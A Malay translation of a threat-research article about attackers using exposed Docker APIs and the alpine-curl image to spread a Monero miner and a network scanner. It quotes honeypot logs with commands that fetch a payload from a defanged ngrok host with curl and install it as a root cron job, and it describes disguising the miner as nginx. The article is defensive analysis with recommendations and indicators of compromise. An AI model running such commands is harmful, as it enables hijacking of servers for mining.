Cara API Docker bukan proprietari dan imej awam daripada komuniti digunakan untuk mengedarkan pelombong mata wang kripto

Cara API Docker bukan proprietari dan imej awam daripada komuniti digunakan untuk mengedarkan pelombong mata wang kripto

Kami menganalisis data yang dikumpul menggunakan bekas honeypot, yang kami cipta untuk menjejaki ancaman. Dan kami mengesan aktiviti penting daripada pelombong mata wang kripto yang tidak diingini atau tidak dibenarkan yang digunakan sebagai bekas penyangak menggunakan imej yang diterbitkan komuniti di Docker Hub. Imej itu digunakan sebagai sebahagian daripada perkhidmatan yang menyampaikan pelombong mata wang kripto yang berniat jahat.

Selain itu, program untuk bekerja dengan rangkaian dipasang untuk menembusi bekas dan aplikasi jiran terbuka.

Kami membiarkan honeypot kami seperti sedia ada, iaitu, dengan tetapan lalai, tanpa sebarang langkah keselamatan atau pemasangan perisian tambahan yang seterusnya. Sila ambil perhatian bahawa Docker mempunyai cadangan untuk persediaan awal untuk mengelakkan ralat dan kelemahan mudah. Tetapi honeypot yang digunakan adalah bekas, direka untuk mengesan serangan yang ditujukan kepada platform kontena, bukan aplikasi di dalam bekas.

Aktiviti berniat jahat yang dikesan juga ketara kerana ia tidak memerlukan kelemahan dan juga bebas daripada versi Docker. Mencari imej kontena yang dikonfigurasikan secara salah, dan oleh itu terbuka, adalah semua yang penyerang perlukan untuk menjangkiti banyak pelayan terbuka.

API Docker yang tidak ditutup membolehkan pengguna melakukan pelbagai jenis pasukan, termasuk mendapatkan senarai bekas yang sedang berjalan, mendapatkan log daripada bekas tertentu, memulakan, berhenti (termasuk terpaksa) dan juga mencipta bekas baharu daripada imej tertentu dengan tetapan tertentu.

Cara API Docker bukan proprietari dan imej awam daripada komuniti digunakan untuk mengedarkan pelombong mata wang kripto
Di sebelah kiri ialah kaedah penghantaran perisian hasad. Di sebelah kanan ialah persekitaran penyerang, yang membolehkan imej keluar dari jauh.

Cara API Docker bukan proprietari dan imej awam daripada komuniti digunakan untuk mengedarkan pelombong mata wang kripto
Pengedaran mengikut negara 3762 API Docker terbuka. Berdasarkan carian Shodan bertarikh 12.02.2019/XNUMX/XNUMX

Rantaian serangan dan pilihan muatan

Aktiviti berniat jahat dikesan bukan sahaja dengan bantuan honeypots. Data daripada Shodan menunjukkan bahawa bilangan API Docker terdedah (lihat graf kedua) telah meningkat sejak kami menyiasat bekas tersalah konfigurasi yang digunakan sebagai jambatan untuk menggunakan perisian perlombongan mata wang kripto Monero. Pada Oktober tahun lepas (2018, data semasa anda boleh kelihatan seperti ini lebih kurang penterjemah) terdapat hanya 856 API terbuka.

Pemeriksaan terhadap log honeypot menunjukkan bahawa penggunaan imej kontena juga dikaitkan dengan penggunaan ngrok, alat untuk mewujudkan sambungan selamat atau memajukan trafik dari titik yang boleh diakses secara umum ke alamat atau sumber tertentu (contohnya localhost). Ini membolehkan penyerang mencipta URL secara dinamik apabila menghantar muatan ke pelayan terbuka. Di bawah ialah contoh kod daripada log yang menunjukkan penyalahgunaan perkhidmatan ngrok:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Seperti yang anda lihat, fail yang dimuat naik dimuat turun daripada URL yang sentiasa berubah-ubah. URL ini mempunyai tarikh tamat tempoh yang singkat, jadi muatan tidak boleh dimuat turun selepas tarikh tamat tempoh.

Terdapat dua pilihan muatan. Yang pertama ialah pelombong ELF yang disusun untuk Linux (ditakrifkan sebagai Coinminer.SH.MALXMR.ATNO) yang bersambung ke kolam perlombongan. Yang kedua ialah skrip (TrojanSpy.SH.ZNETMAP.A) yang direka untuk mendapatkan alatan rangkaian tertentu yang digunakan untuk mengimbas julat rangkaian dan kemudian mencari sasaran baharu.

Skrip penitis menetapkan dua pembolehubah, yang kemudiannya digunakan untuk menggunakan pelombong mata wang kripto. Pembolehubah HOST mengandungi URL tempat fail berniat jahat berada, dan pembolehubah RIP ialah nama fail (sebenarnya, cincang) pelombong yang akan digunakan. Pembolehubah HOST berubah setiap kali pembolehubah cincang berubah. Skrip itu juga cuba menyemak bahawa tiada pelombong mata wang kripto lain sedang berjalan pada pelayan yang diserang.

Cara API Docker bukan proprietari dan imej awam daripada komuniti digunakan untuk mengedarkan pelombong mata wang kripto
Contoh pembolehubah HOST dan RIP, serta coretan kod yang digunakan untuk memastikan tiada pelombong lain sedang berjalan

Sebelum memulakan penambang, ia dinamakan semula kepada nginx. Versi lain skrip ini menamakan semula pelombong kepada perkhidmatan sah lain yang mungkin terdapat dalam persekitaran Linux. Ini biasanya cukup untuk memintas semakan terhadap senarai proses yang sedang berjalan.

Skrip carian juga mempunyai ciri. Ia berfungsi dengan perkhidmatan URL yang sama untuk menggunakan alatan yang diperlukan. Antaranya ialah binari zmap, yang digunakan untuk mengimbas rangkaian dan mendapatkan senarai port terbuka. Skrip juga memuatkan perduaan lain yang digunakan untuk berinteraksi dengan perkhidmatan yang ditemui dan menerima sepanduk daripada mereka untuk menentukan maklumat tambahan tentang perkhidmatan yang ditemui (contohnya, versinya).

Skrip juga pra-menentukan beberapa julat rangkaian untuk diimbas, tetapi ini bergantung pada versi skrip. Ia juga menetapkan port sasaran daripada perkhidmatan—dalam kes ini, Docker—sebelum menjalankan imbasan.

Sebaik sahaja sasaran yang mungkin ditemui, sepanduk secara automatik dialih keluar daripadanya. Skrip juga menapis sasaran bergantung pada perkhidmatan, aplikasi, komponen atau platform yang diminati: Redis, Jenkins, Drupal, MODX, Sarjana Kubernetes, klien Docker 1.16 dan Apache CouchDB. Jika pelayan yang diimbas sepadan dengan mana-mana daripada mereka, ia disimpan dalam fail teks, yang boleh digunakan oleh penyerang untuk analisis dan penggodaman seterusnya. Fail teks ini dimuat naik ke pelayan penyerang melalui pautan dinamik. Iaitu, URL berasingan digunakan untuk setiap fail, yang bermaksud akses seterusnya adalah sukar.

Vektor serangan ialah imej Docker, seperti yang boleh dilihat dalam dua keping kod seterusnya.

Cara API Docker bukan proprietari dan imej awam daripada komuniti digunakan untuk mengedarkan pelombong mata wang kripto
Di bahagian atas ialah menamakan semula kepada perkhidmatan yang sah, dan di bahagian bawah ialah cara zmap digunakan untuk mengimbas rangkaian

Cara API Docker bukan proprietari dan imej awam daripada komuniti digunakan untuk mengedarkan pelombong mata wang kripto
Di bahagian atas adalah julat rangkaian yang dipratentukan, di bahagian bawah ialah port khusus untuk mencari perkhidmatan, termasuk Docker

Cara API Docker bukan proprietari dan imej awam daripada komuniti digunakan untuk mengedarkan pelombong mata wang kripto
Tangkapan skrin menunjukkan bahawa imej alpine-curl telah dimuat turun lebih daripada 10 juta kali

Berdasarkan Alpine Linux dan curl, alat CLI cekap sumber untuk memindahkan fail melalui pelbagai protokol, anda boleh membina Imej Docker. Seperti yang anda lihat dalam imej sebelum ini, imej ini telah dimuat turun lebih daripada 10 juta kali. Sebilangan besar muat turun mungkin bermakna menggunakan imej ini sebagai titik masuk; imej ini telah dikemas kini lebih daripada enam bulan yang lalu; pengguna tidak memuat turun imej lain dari repositori ini dengan kerap. Di Docker tempat masuk - satu set arahan yang digunakan untuk mengkonfigurasi bekas untuk menjalankannya. Jika tetapan titik masuk tidak betul (contohnya, bekas dibiarkan terbuka dari Internet), imej boleh digunakan sebagai vektor serangan. Penyerang boleh menggunakannya untuk menghantar muatan jika mereka mendapati bekas yang salah konfigurasi atau terbuka dibiarkan tidak disokong.

Adalah penting untuk ambil perhatian bahawa imej ini (alpine-curl) itu sendiri tidak berniat jahat, tetapi seperti yang anda lihat di atas, ia boleh digunakan untuk melaksanakan fungsi berniat jahat. Imej Docker yang serupa juga boleh digunakan untuk melakukan aktiviti berniat jahat. Kami menghubungi Docker dan bekerjasama dengan mereka dalam isu ini.

Cadangan

Tetapan yang salah kekal masalah berterusan bagi banyak syarikat, terutamanya yang melaksanakan DevOps, memberi tumpuan kepada pembangunan dan penyampaian yang pesat. Segala-galanya diburukkan oleh keperluan untuk mematuhi peraturan pengauditan dan pemantauan, keperluan untuk memantau kerahsiaan data, serta kerosakan yang besar daripada ketidakpatuhan mereka. Menggabungkan automasi keselamatan ke dalam kitaran hayat pembangunan bukan sahaja membantu anda mencari lubang keselamatan yang mungkin tidak dapat dikesan, tetapi ia juga membantu anda mengurangkan beban kerja yang tidak perlu, seperti menjalankan binaan perisian tambahan untuk setiap kelemahan yang ditemui atau salah konfigurasi selepas aplikasi digunakan.

Insiden yang dibincangkan dalam artikel ini menyerlahkan keperluan untuk mengambil kira keselamatan dari awal, termasuk cadangan berikut:

  • Untuk pentadbir dan pembangun sistem: Sentiasa semak tetapan API anda untuk memastikan semuanya dikonfigurasikan untuk hanya menerima permintaan daripada pelayan tertentu atau rangkaian dalaman.
  • Ikut prinsip hak terkecil: pastikan imej kontena ditandatangani dan disahkan, hadkan akses kepada komponen kritikal (perkhidmatan pelancaran kontena) dan tambahkan penyulitan pada sambungan rangkaian.
  • Ikut cadangan dan membolehkan mekanisme keselamatan, cth. daripada Docker dan terbina dalam ciri-ciri keselamatan.
  • Gunakan pengimbasan automatik masa jalan dan imej untuk mendapatkan maklumat tambahan tentang proses yang dijalankan dalam bekas (contohnya, untuk mengesan penipuan atau mencari kelemahan). Kawalan aplikasi dan pemantauan integriti membantu menjejaki perubahan tidak normal pada pelayan, fail dan kawasan sistem.

Trendmicro membantu pasukan DevOps membina dengan selamat, melancarkan dengan cepat dan melancarkan di mana-mana sahaja. Trend Micro Keselamatan Awan Hibrid Menyediakan keselamatan yang berkuasa, diperkemas dan automatik merentas saluran paip DevOps organisasi dan menyediakan pelbagai pertahanan ancaman XGen untuk melindungi beban kerja fizikal, maya dan awan pada masa jalan. Ia juga menambah keselamatan kontena dengan Keselamatan Dalam и Pemeriksaan Pintar Keselamatan Dalam, yang mengimbas imej kontena Docker untuk perisian hasad dan kelemahan pada bila-bila masa dalam saluran pembangunan untuk mengelakkan ancaman sebelum ia digunakan.

Tanda-tanda kompromi

Cincang berkaitan:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

Pada Kursus video Docker Pembesar suara yang berlatih menunjukkan tetapan yang perlu dibuat terlebih dahulu untuk meminimumkan kemungkinan atau mengelakkan sepenuhnya kejadian situasi yang diterangkan di atas. Dan pada 19-21 Ogos di intensif dalam talian Alat & Penipuan DevOps Anda boleh membincangkan masalah ini dan masalah keselamatan yang serupa dengan rakan sekerja dan guru latihan di meja bulat, di mana semua orang boleh bersuara dan mendengar keperitan dan kejayaan rakan sekerja yang berpengalaman.

Sumber: www.habr.com

Tambah komen